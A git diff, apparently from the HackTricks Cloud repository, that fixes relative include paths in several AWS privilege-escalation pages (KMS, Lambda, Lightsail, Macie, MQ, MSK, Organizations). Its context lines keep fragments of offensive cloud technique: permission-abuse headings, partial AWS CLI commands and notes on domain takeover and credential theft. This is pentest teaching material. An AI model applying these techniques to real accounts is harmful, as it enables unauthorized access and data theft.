{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - KMS Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
For more info about KMS check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
../../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
|
||||
@@ -116,10 +116,10 @@ This permission allows to use a key to decrypt some information.\
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-kms-post-exploitation.md
|
||||
../../aws-post-exploitation/aws-kms-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Lambda Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## lambda
|
||||
|
||||
More info about lambda in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lambda-enum.md
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
|
||||
@@ -267,7 +267,7 @@ The next step would be to either **invoke the function** ourselves if we can or
|
||||
A **more stealth way to exploit this vulnerability** can be found in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
**Potential Impact:** Direct privesc to the lambda service role used.
|
||||
@@ -281,7 +281,7 @@ Maybe with those permissions you are able to create a function and execute it ca
|
||||
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
@@ -289,7 +289,7 @@ Some lambdas are going to be **receiving sensitive info from the users in parame
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Lightsail Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information about Lightsail check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
../../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!WARNING]
|
||||
@@ -159,7 +159,7 @@ aws lightsail update-domain-entry \
|
||||
|
||||
**Potential Impact:** Takeover a domain
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - Macie Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Macie
|
||||
|
||||
For more information about Macie check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-macie-enum.md
|
||||
../../aws-services/aws-macie-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Amazon Macie - Bypass `Reveal Sample` Integrity Check
|
||||
@@ -35,4 +35,4 @@ However, a **bypass** has been identified where an attacker with sufficient perm
|
||||
**Summary:**
|
||||
|
||||
This vulnerability allows an attacker with sufficient AWS IAM permissions to recover previously detected secrets even after the original file has been deleted from S3. If an AWS secret key, access token, or other sensitive credential is exposed, an attacker could leverage this flaw to retrieve it and gain unauthorized access to AWS resources. This could lead to privilege escalation, unauthorized data access, or further compromise of cloud assets, resulting in data breaches and service disruptions.
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,6 +1,6 @@
|
||||
# AWS - Mediapackage Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### `mediapackage:RotateChannelCredentials`
|
||||
|
||||
@@ -22,7 +22,7 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-
|
||||
|
||||
- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - MQ Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## MQ
|
||||
|
||||
For more information about MQ check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-mq-enum.md
|
||||
../../aws-services/aws-mq-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `mq:ListBrokers`, `mq:CreateUser`
|
||||
@@ -46,7 +46,7 @@ If you could somehow find the original credentials used by ActiveMQ you could pe
|
||||
|
||||
**Potential Impact:** Steal ActiveMQ credentials
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS - MSK Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## MSK
|
||||
|
||||
For more information about MSK (Kafka) check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-msk-enum.md
|
||||
../../aws-services/aws-msk-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `msk:ListClusters`, `msk:UpdateSecurity`
|
||||
@@ -21,7 +21,7 @@ aws msk --client-authentication <value> --cluster-arn <value> --current-version
|
||||
You need access to the VPC because **you cannot enable None authentication with Kafka publicly** exposed. If it's publicly exposed, if **SASL/SCRAM** authentication is used, you could **read the secret** to access (you will need additional privileges to read the secret).\
|
||||
If **IAM role-based authentication** is used and **kafka is publicly exposed** you could still abuse these privileges to give you permissions to access it.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,21 +1,21 @@
|
||||
# AWS - Organizations Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Organizations
|
||||
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
../../aws-services/aws-organizations-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## From management Account to children accounts
|
||||
|
||||
If you compromise the root/management account, chances are you can compromise all the children accounts.\
|
||||
To [**learn how check this page**](../index.html#compromising-the-organization).
|
||||
To [**learn how check this page**](../../index.html#compromising-the-organization).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user